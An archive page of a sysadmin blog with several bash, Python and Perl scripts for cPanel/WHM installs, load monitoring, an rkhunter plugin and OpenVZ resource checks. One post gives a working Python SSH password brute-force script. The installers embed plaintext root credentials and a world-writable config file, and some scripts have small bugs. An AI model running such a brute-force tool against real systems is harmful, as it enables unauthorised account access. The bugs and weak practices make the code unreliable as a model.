Archive

Archive for the ‘Scripts’ Category

Linux bash Script to record all process during high load

August 8, 2012 Leave a comment

 

 

You can use the following script to record all running processes in a system during high load. The script saves all processes information to the /tmp/pinfo directory and sends an email alert to “alertadmins@gmail.com”. The report can be reviewed later to find out the processes running during that time.

 

#!/bin/bash 
EMAIL="alertadmins@gmail.com"

if [ ! -d /tmp/pinfo ];then 
   mkdir /tmp/pinfo 
fi 

if [[ `awk '{print int($3)}' /proc/loadavg` -gt `grep -c processor /proc/cpuinfo` && ! -f /tmp/pinfo/.lock ]];then
   touch /tmp/pinfo/.lock 
   #Record all process 
   filename = "/tmp/pinfo/`date +%F%s`"
   top -b -n 1 > ${filename}
   pstree -plan >> ${filename}
   vmstat 1 7 >> ${filename}
   rm -f /tmp/pinfo/.lock 
   #Send alert email
   msg = "High Load on `hostname`\nLoad : `cat /proc/loadavg`\nCheck ${filename} for more details"
   echo -e ${msg}|mail -s "Load alert from `hostname`" ${EMAIL}
fi

 

 

If you want the cron to run every minute starting at 11AM server time and ending at 3PM , then set the cron as follows:

 

* 11-15 * * * /root/loadmon.sh

Rvsitebuilder autoinstaller using Selenium for WHM/Cpanel

May 14, 2012 Leave a comment

 

 

I was trying to setup an autoinstaller to perform the installation of rvsitebuilder in WHM. But the rvsitebuilder installer requires a java-script enabled browser for installation. So, tools like curl,lynx,twill-sh,etc. were out of scope. After little bit of googling, selenium
seemed to be the best option. Selenium requires a browser like firefox or chrome installed and working(requires X).

 

I have used the python selenium API to interact with the selenium server running in port 4444. You can use the selenium firefox ide for getting started with selenium API.

 

 

Requirements

1) Selenium server to be up and running

wget http://selenium.googlecode.com/files/selenium-server-standalone-2.21.0.jar
java -jar selenium-server-standalone-2.21.0.jar

2) Python version >= 2.5 with support for selenium package. In order to install the package run the following command.

pip install -U selenium

3) Firefox or chrome

 

Ref:

http://seleniumhq.org/
http://seleniumhq.org/projects/ide/

 

 

 

Before running this python code, manually ssh to the WHM server(IP: 26.24.82.32 ) and download the rvsitebuilder setup files.

cd /usr/local/cpanel/whostmgr/docroot/cgi/
rm -rf /usr/local/cpanel/whostmgr/docroot/cgi/rvsitebuilderinstaller/
rm -f rvsitebuilderinstaller.tar
wget http://download.rvglobalsoft.com/rvsitebuilderinstaller.tar
tar -xvf rvsitebuilderinstaller.tar
chmod 755 addon_rvsitebuilder.cgi
rm -f rvsitebuilderinstaller.tar
cp -p /var/cpanel/cpanel.config /var/cpanel/cpanel.config.bak`date +%F`
sed -i 's/maxmem=[0-9]\+/maxmem=512/'  /var/cpanel/cpanel.config
/usr/local/cpanel/whostmgr/bin/whostmgr2 --updatetweaksettings

 

 

Pasted below is the python code used to install rvsitebuilder. What the code does is, it will connect to the selenium server running in localhost and open a firefox window and then connect to the WHM server via IP ‘26.24.82.32’ and start the installation of rvsitebuilder.

 

#!/usr/bin/python
# This script is executed in the machine where the selenium server runs

from selenium import selenium
import os,sys
import random,string

#Initialization
SELENIUM_HOST = "localhost"
SELENIUM_PORT = 4444
BROWSER = "*firefox"

RVSIEBUILDER_USER = "rvsitebuilder"
#Generate a random string of 10 character length
RVSIEBUILDER_PASS = ''.join(random.sample(string.ascii_uppercase + string.digits,10))  

#WHM/Cpanel server details
USERNAME = "root"
IPADDRESS = '26.24.82.32'
PASSWORD = 'password'


try:

	#Connect to the cpanel sever via selenium service running in SELENIUM_HOST at port SELENIUM_PORT
	sel= selenium(SELENIUM_HOST,SELENIUM_PORT,BROWSER,"http://"+IPADDRESS+":2086")
	sel.start()
	sel.open("/cgi/rvsitebuilderinstaller/index.php?action=Download")
	sel.type("id=user",USERNAME)
	sel.type("id=pass",PASSWORD)
        #After this statement if the login credentials are valid then the rvsitebuilder download starts
	sel.click("id=login") 

	# The rvsitebuilder package download process will be taking 3 to 20min
	# we are waiting for this process to get completed in an infinite loop
	while True:
		if (str(sel.get_title()) == "RVSiteBuilder Installation - Download"):
			print "Downloading.."
			time.sleep(300)   #Wait for 5min	
		elif (str(sel.get_title()) == "RVSitebuilder :: Installation"):
			break #Download completed; exit out of the loop
		else:
			print "An unknown state has reached. HTML text body printed below(for troubleshooting)\n\n"
			print sel.get_body_text()
			sel.stop()
	 		sys.exit(1)

#	sel.open("/cgi/rvsitebuilder/setup.php")
	sel.type("id=databaseUser-0",RVSIEBUILDER_USER)
	sel.type("id=databaseUserPass-0",RVSIEBUILDER_PASS)
	sel.click("id=_qf_rvsSetupDB_next-0")
			

	while True:
		if (str(sel.get_title()) == "RVSitebuilder :: Installation"):
			print "Updating tables..."
			time.sleep(120)   #Wait for 2min	
		elif (str(sel.get_title()) == ":: System Configuration"):
			break #datbase updated; exit out of the loop
		else:
			print "An unknown state has reached. HTML text body printed below(for troubleshooting)\n\n"
			print sel.get_body_text()
			sel.stop()
	 		sys.exit(1)

	sel.open("/logout/")
	sel.stop()

except Exception, err:
	sys.stderr.write('ERROR: %s\n' % str(err))

 

Categories: Cpanel/WHM, Scripts

SSH Brute force attack script using Python

March 2, 2012 7 comments

A sample python script to carry out brute force attack against an ssh account named “test”.

#!/usr/bin/python
import paramiko
import itertools,string,crypt

PASSSIZE = 5
IPADDRESS = "127.0.0.1"
USERNAME = "test"
SSHPORT=22

# 
# Generates a password of containing only digits with a size of PASSSIZE
#
## To get other combinations pass the following values as the first argument to itertools.combinations
# string.punctuation+string.ascii_letters+string.digits 
# string.ascii_letters+string.digits  
var = itertools.combinations(string.digits,PASSSIZE)

try:
	for i in var:
 		passwd = ''.join(i)

		ssh = paramiko.SSHClient()
		ssh.load_system_host_keys()
		ssh.set_missing_host_key_policy(paramiko.MissingHostKeyPolicy())

		try:
		        ssh.connect(IPADDRESS , port=SSHPORT, username=USERNAME, password=passwd)
		        print "Connected successfully. Password = "+passwd
			break
		except paramiko.AuthenticationException, error:
			print "Incorrect password: "+passwd
			continue
		except socket.error, error:
		        print error
			continue
		except paramiko.SSHException, error:
		        print error
		        print "Most probably this is caused by a missing host key"
			continue
		except Exception, error:
		        print "Unknown error: "+error
			continue	
		ssh.close()


except Exception,error :
	print error
Categories: Scripts

WHMCS Autoinstaller for Cpanel/WHM

February 22, 2012 Leave a comment

A script for automated installation of WHMCS in a linux cpanel server is documented below. This has been tested in a cpanel server and the version of WHMCS used is v4.4.2 .

WHMCS requires php modules such as curl,mysql and ioncubeloader for its working. So, make sure that these modules are installed. Replace the variable section in code(such as license,username,password,etc) as per your requirement.

If you want to install WHMCS under a particular domain, replace the variables DOCUMENTROOT with your websites documentroot and also replace the IP address mentioned in variable URL with website name.

#!/bin/bash

#Variables
DOWNLOADURL='http://webservices.domain.com/whmcs_v442.zip'
DOCUMENTROOT='/usr/local/apache/htdocs'

URL='http://162.24.12.23/whmcs/install/install.php?step=3'
LICKEY='Leased-adv14eu2345678901323'
DBHOST='localhost'
DBNAME='whmcs'
DBUSER='whmcs'
DBPASS='whmcs'

FIRSTNAME='MyName'
LASTNAME='Lastname'
EMAIL='myemail@domain.com'
USERNAME='whmcs'
PASSWORD='whmcsadmin'

#php curl and mysql module is enabled by default so skipping it
#Enable ioncube loader 
/scripts/phpextensionmgr install Ioncubeloader
/etc/init.d/httpd restart


wget -O ${DOCUMENTROOT}/whmcs_v442.zip ${DOWNLOADURL}
cd ${DOCUMENTROOT}
unzip whmcs_v442.zip
rm -rf whmcs_v442.zip
chown -R nobody:nobody whmcs/
mv whmcs/configuration.php.new whmcs/configuration.php
chmod 777 whmcs/configuration.php



#Installing twill(if it's not already installed) for web-browsing 
if [ ! -f /usr/bin/twill-sh ];then
	wget -O /tmp/twill-0.9.tar.gz http://darcs.idyll.org/~t/projects/twill-0.9.tar.gz
	cd  /tmp
	tar xzf twill-0.9.tar.gz
	cd twill-0.9
	python setup.py install
	python setup.py install_scripts
	cp -p twill-sh /usr/bin/
	chmod 755 /usr/bin/twill-sh
fi


# Create database and accept mysql password via commandline
#
echo "create database whmcs;"|mysql
echo "grant all on whmcs.* to 'whmcs'@'localhost' identified by '${DBPASS}'"|mysql
echo "flush privileges;"|mysql

#AutomatedForm submitter
cat > "/tmp/whmcs_twill.sh" << EEOF
go ${URL}
fv 1 licensekey '${LICKEY}'
fv 1 dbhost '${DBHOST}'
fv 1 dbname '${DBNAME}'
fv 1 dbusername '${DBUSER}'
fv 1 dbpassword '${DBPASS}'
submit
fv 1 firstname '${FIRSTNAME}'
fv 1 lastname '${LASTNAME}'
fv 1 email '${EMAIL}'
fv 1 username '${USERNAME}'
fv 1 password '${PASSWORD}'
submit
exit
EEOF

cat /tmp/whmcs_twill.sh|/usr/bin/twill-sh >>/tmp/whmcsinstalllog.txt`date +%F`
if [ $? -ne 0 ];then
	#In case of error to retry drop the whmcs database and then try again
	echo "Installation failed. Check /tmp/whmcsinstalllog.txt`date +%F` for more details"
	exit 1
else
	echo "Installation successful"
fi


#Add crontab
crontab -l > /tmp/cronwhmcs
grep "/whmcs/admin/cron.php" /tmp/cronwhmcs >/dev/null
if [ $? -ne 0 ];then
	echo "01 1 * * * php -q ${DOCUMENTROOT}/whmcs/admin/cron.php" >> /tmp/cronwhmcs
	crontab /tmp/cronwhmcs
fi
rm -f /tmp/cronwhmcs


#Disable Installation folder
chmod 000 ${DOCUMENTROOT}/whmcs/install

#Remove twill-sh
rm -rf /tmp/twill-0.9.tar.gz /tmp/twill-0.9 /usr/bin/twill-fork /usr/bin/twill-sh

Hope this will be helpful:)

Fantastico Autoinstaller for Cpanel/WHM

February 22, 2012 1 comment

The installation of fantastico in WHM can now be automated using the following script. This script uses the python application named “twill-sh” to automate the installation process.

This script has been tested using cpanel version 11.30.6.3 and the latest version of fantastico(ie, De Luxe 2.10.4 r50 ). Please replace the URL,USER and PASS variables to match your servers WHM url,root user and password.

#!/bin/bash

#Assign root password to this variable
URL='http://162.24.12.23:2086'
USER='root'
PASS='myrootpass'

#Install ioncube and download fantastico files
/scripts/phpextensionmgr install IonCubeLoader
cd /usr/local/cpanel/whostmgr/docroot/cgi
wget -N http://files.betaservant.com/files/free/fantastico_whm_admin.tgz
tar -xzpf fantastico_whm_admin.tgz
rm -rf fantastico_whm_admin.tgz

#Installing twill(if it's not already installed) for web-browsing 
if [ ! -f /usr/bin/twill-sh ];then
	wget -O /tmp/twill-0.9.tar.gz http://darcs.idyll.org/~t/projects/twill-0.9.tar.gz
	cd  /tmp
	tar xzf twill-0.9.tar.gz
	cd twill-0.9
	python setup.py install
	python setup.py install_scripts
	cp -p twill-sh /usr/bin/
	chmod 755 /usr/bin/twill-sh
fi


#AutomatedForm submitter
cat > "/tmp/fantastico_twill.sh" << EEOF
go ${URL}
fv 1 user '${USER}'
fv 1 pass '${PASS}'
submit
go scripts/command?PFILE=Plugins
follow "addon_fantastico.cgi"
go fantastico.php?Primary_Action=Install&Secondary_Action=Pre
submit
go fantastico.php
submit
go fantastico.php?Primary_Action=Home
go fantastico.php?Primary_Action=Scripts&Secondary_Action=Update&Tertiary_Action=Missing
exit
EEOF

echo -e "\n\nTrying to install fantastico.. check /tmp/fantasticoinstall_log.txt`date +%F` for more details"

cat /tmp/fantastico_twill.sh|/usr/bin/twill-sh >>/tmp/fantasticoinstall_log.txt`date +%F`
if [ $? -ne 0 ];then
	#In case of error to retry drop the whmcs database and then try again
	echo "Installation failed. Check /tmp/fantasticoinstall_log.txt`date +%F` for more details"
	exit 1
else
	echo "Installation successful"
fi

#Clear unwanted files
rm -f /tmp/fantastico_twill.sh


########################################
#Uninstalling fantastico
# 
# 
# rm -rf /var/netenberg/
# rm -rf /usr/local/cpanel/whostmgr/docroot/cgi/fantastico/
# rm -rf /usr/local/cpanel/3rdparty/fantastico*
# rm -rf /usr/local/cpanel/base/frontend/*/fantastico
# rm -f /usr/local/cpanel/base/frontend/x/cells/fantastico.html
# rm -f /usr/local/cpanel/whostmgr/docroot/cgi/addon_fantastico.cgi
#
# crontab -l|grep -v "docroot/cgi/fantastico/scripts" > /tmp/fant.txt
# crontab /tmp/fant.txt
#
#
########################################
Categories: Cpanel/WHM, Scripts

WHM/Cpanel rkhunter plugin creation HOWTO

October 10, 2011 1 comment

In this post the step by step procedure for writing a WHM rkhunter plugin is explained. This can be modified accordingly for other purposes too.

1) Change directory to “/usr/local/cpanel/whostmgr/docroot/cgi/”(where all WHM and cpanel plugins reside) and create a directory and download the rkhunter image file.

cd /usr/local/cpanel/whostmgr/docroot/cgi/
mkdir rkhunter
wget -O rkhunter/rkhunter.jpeg http://t0.gstatic.com/images?q=tbn:ANd9GcS5JR0LyE7ZB01nCcuioUiJFQvbl8WMAWCRNEMbS14yUBxYqOyx0X0KIfQ

2) Create a rkhunter cgi script named “/usr/local/cpanel/whostmgr/docroot/cgi/addon_rkhunter.cgi“, with the following contents. This script calls the perl script “/usr/local/cpanel/whostmgr/docroot/cgi/rkhunter/rkhunter.pl” for executing rkhunter command using a pipe.

#!/usr/bin/perl
#WHMADDON::Rkhunter Plugin
####################################
# start main

use File::Find;
use Fcntl qw(:DEFAULT :flock);
use Sys::Hostname qw(hostname);
use IPC::Open3;

$script = "addon_rkhunter.cgi";

##Directory containing images files
$images = "rkhunter";

use lib '/usr/local/cpanel';
use Cpanel::cPanelFunctions ();
use Cpanel::Form			();
use Cpanel::Config          ();
use Cpanel::Version          ();
use Whostmgr::HTMLInterface ();
use Whostmgr::ACLS			();

Whostmgr::ACLS::init_acls();

print "Content-type: text/html\r\n\r\n";

if (!Whostmgr::ACLS::hasroot()) {
	print "You do not have access to this plugin.\n";
	exit();
}

eval ('use Cpanel::Rlimit			();');
unless ($@) {Cpanel::Rlimit::set_rlimit_to_infinity()}

$Cpanel::App::appname = "whostmgr";
Whostmgr::HTMLInterface::defheader("Rkhunter Plugin",'/cgi/rkhunter/rkhunter.jpeg','/cgi/addon_rkhunter.cgi');

%FORM = Cpanel::Form::parseform();

$dns = Cpanel::Version::gettree();
if ($dns eq "DNSONLY") {$dns = 1} else {$dns = 0}

do "/usr/local/cpanel/whostmgr/docroot/cgi/rkhunter/rkhunter.pl";

1;

3) Create the file “/usr/local/cpanel/whostmgr/docroot/cgi/rkhunter/rkhunter.pl” with the following contents. The variable “RKHUNTER” can be modified to specify the rkhunter binary path.

use strict;
use CGI;
use Switch;
 
# Constant: path to rkhunter
my $RKHUNTER = '/usr/bin/rkhunter -sk -c --nocolors';
local *PIPE;
 
open PIPE, "$RKHUNTER |" or die "Cannot open pipe to rkhunter: $!";

print "<code>";
print "<pre>"; 
while(my $this_line = <PIPE> ){
my($result) = $this_line =~ /\[([^\)]+)\]/;
if ( defined $result){
SWITCH: {
if($result eq " OK "){$this_line =~ s/$result/\<font\ color\=\"green\"\>$result\<\/font\>/g ;last SWITCH};
if($result eq " Not found "){$this_line =~ s/$result/\<font\ color\=\"green\"\>$result\<\/font\>/g ;last SWITCH};
if($result eq " None found "){$this_line =~ s/$result/\<font\ color\=\"green\"\>$result\<\/font\>/g ;last SWITCH};
if($result eq " Not allowed "){$this_line =~ s/$result/\<font\ color\=\"green\"\>$result\<\/font\>/g ;last SWITCH};
if($result eq " No update "){$this_line =~ s/$result/\<font\ color\=\"green\"\>$result\<\/font\>/g ;last SWITCH};
if($result eq " Found "){$this_line =~ s/$result/\<font\ color\=\"red\"\>$result\<\/font\>/g ;last SWITCH};
if($result eq " Warning "){$this_line =~ s/$result/\<font\ color\=\"red\"\>$result\<\/font\>/g ;last SWITCH};
if($result eq " Skipped "){$this_line =~ s/$result/\<font\ color\=\"yellow\"\>$result\<\/font\>/g ;last SWITCH};
$this_line =~ s/$result/\<font\ color\=\"yellow\"\>$result\<\/font\>/g ;
}
print $this_line;
}
else{
 print $this_line;
}
print "<br\>";
}
print "</pre>";
print "</code>";
close PIPE;

=comment

Color codes used by rkhunter

OK --> OK --> GREEN
NOT_FOUND --> Not found --> GREEN
NONE_FOUND --> None found --> GREEN
NOT_ALLOWED --> Not allowed --> GREEN
ALLOWED --> GREEN
UPD --> GREEN
NO_UPD --> No update --> GREEN
WHITELISTED --> GREEN


FOUND --> Found --> RED
WARNING --> Warning --> RED
UPD_FAILED --> RED
VCHK_FAILED --> RED


SKIPPED --> Skipped --> YELLOW
=cut

4) Grant execute permissions to the plugin scripts.

 chmod 755 /usr/local/cpanel/whostmgr/docroot/cgi/rkhunter/rkhunter.pl
 chmod 755 /usr/local/cpanel/whostmgr/docroot/cgi/addon_rkhunter.cgi

5) Now login to WHM and under Main >> Plugins you will be able to view the rkhunter plugin by the name “Rkhunter Plugin”. Click it and you will be able to see live status of scanning from WHM.

NOTE

1) Cpanel version used is 11.30.4.6
2) Perl version in the server is v5.8.8

REFERENCE

http://docs.cpanel.net/twiki/bin/view/SoftwareDevelopmentKit/CreatingWhmPlugins

Categories: Cpanel/WHM, Scripts

Script to check failcnt in /proc/user_beancounters of all vps

August 20, 2011 Leave a comment

In openvz and virtuozzo vps nodes, sometimes resource overconsumption can result in unexpected behaviour with the vps node. The resource which is over-utilised will be mentioned in “/proc/user_beancounters”. The following script will help the one who manages the main hardware node to find out all the vps nodes for which resource failures are reported, and can proactive actions based on the output.

This script needs to be executed from the main hardware node.

#!/bin/bash
# Create AWK rules and save it in /root/checkresource.awk
# Filename: /root/vpsresourcecheck.sh


########################
### Func: checkall
### No of Arguments = 0
########################
function checkall {

   flag=0

   #Create a file containing awk rules
   echo -e "{\nif(NF==7 && match(\$1,\"[0-9]+:\") && \$NF!=0 )\nprint \$2;\nelse if(NF==6 && \$NF!=0)\nprint \$1;\n}" > /root/checkresource.awk

   # Check "/proc/user_beancounters" of all vps nodes and print the CTID of ones with failcnt
   #
   for i in $(vzlist -o ctid|grep -v CTID|awk '{print $1}')
   do
     vzctl exec ${i} cat /proc/user_beancounters > ~/tmp.txt
     if [ `awk -f /root/checkresource.awk ~/tmp.txt|wc -l` -gt 0 ];then
        echo "Resource over-usage in CTID: ${i}"
        flag=1
     else
        echo "CTID: ${i} is GOOD"
     fi
   done

   if [ $flag -eq 0 ];then
     echo -e "\nNo failcnt reported for any of the nodes; everything is good:)\n"
   fi

}

########################
### Func: reportfailcnt
### No of arguments = 1
########################
function reportfailcnt {
    # Called only from inside function checkvps 
    # Contain only one argument and its the CTID
      echo -e "{\nif(NF==7 && match(\$1,\"[0-9]+:\") && \$NF!=0 )\nprint \$2\":\"\$NF;\nelse if(NF==6 && \$NF!=0)\nprint \$1\":\"\$NF;\n}" > /root/checkresource.awk
      
      vzctl exec $1 cat /proc/user_beancounters > ~/tmp.txt
     
    # List out the resource name and the failcnt
      awk -f /root/checkresource.awk ~/tmp.txt
}

########################
### Func: checkvps
### No of arguments = 1
########################
function checkvps {
   # Contain only one argument and its the CTID
   echo -e "{\nif(NF==7 && match(\$1,\"[0-9]+:\") && \$NF!=0 )\nprint \$2;\nelse if(NF==6 && \$NF!=0)\nprint \$1;\n}" > /root/checkresource.awk

   vzctl exec $1 cat /proc/user_beancounters > ~/tmp.txt

   if [ `awk -f /root/checkresource.awk ~/tmp.txt|wc -l` -gt 0 ];then
     echo -e "\n\nRESOURCE OVERUTILIZATION REPORTED FOR CTID: $1 \n"
     echo -e "\n++++++++++++++++++++++\nRESOURCE : FAILCNT\n+++++++++++++++++++++"
     reportfailcnt $1
     echo -e "++++++++++++++++++++++++"
     exit 1
   else
     echo -e "\nNo failure count reported for CTID: $1\n Everything is good:)\n" 
   fi

} 



########################
### Main section
########################

case "$1" in 
      checkall) 
          checkall
          ;;
      checkvps)
           # One argument required
            if [ $# -ne 2 ];then
             echo "Usage: /root/vpsresourcecheck.sh checkvps <CTID>"
             exit 1
            fi
 
           checkvps $2 
          ;;
      *)
       echo "Usage: /root/vpsresourcecheck.sh {checkvps <CTID>|checkall}"
       exit 1
esac


SAMPLE OUTPUT

[root@vz ~]# /root/vpsresourcecheck.sh checkall
CTID: 1 is GOOD
Resource over-usage in CTID: 1040
CTID: 1439 is GOOD
Resource over-usage in CTID: 4603
Resource over-usage in CTID: 5243
Resource over-usage in CTID: 5605
CTID: 5850 is GOOD
Resource over-usage in CTID: 8999
[root@vz ~]#

[root@vz ~]# /root/vpsresourcecheck.sh checkvps 8999

RESOURCE OVERUTILIZATION REPORTED FOR CTID: 8999

++++++++++++++++++++++
RESOURCE : FAILCNT
+++++++++++++++++++++
kmemsize:35
privvmpages:62
++++++++++++++++++++++++
[root@vz ~]# /root/vpsresourcecheck.sh checkvps 1

No failure count reported for CTID: 1
Everything is good:)

[root@vz ~]#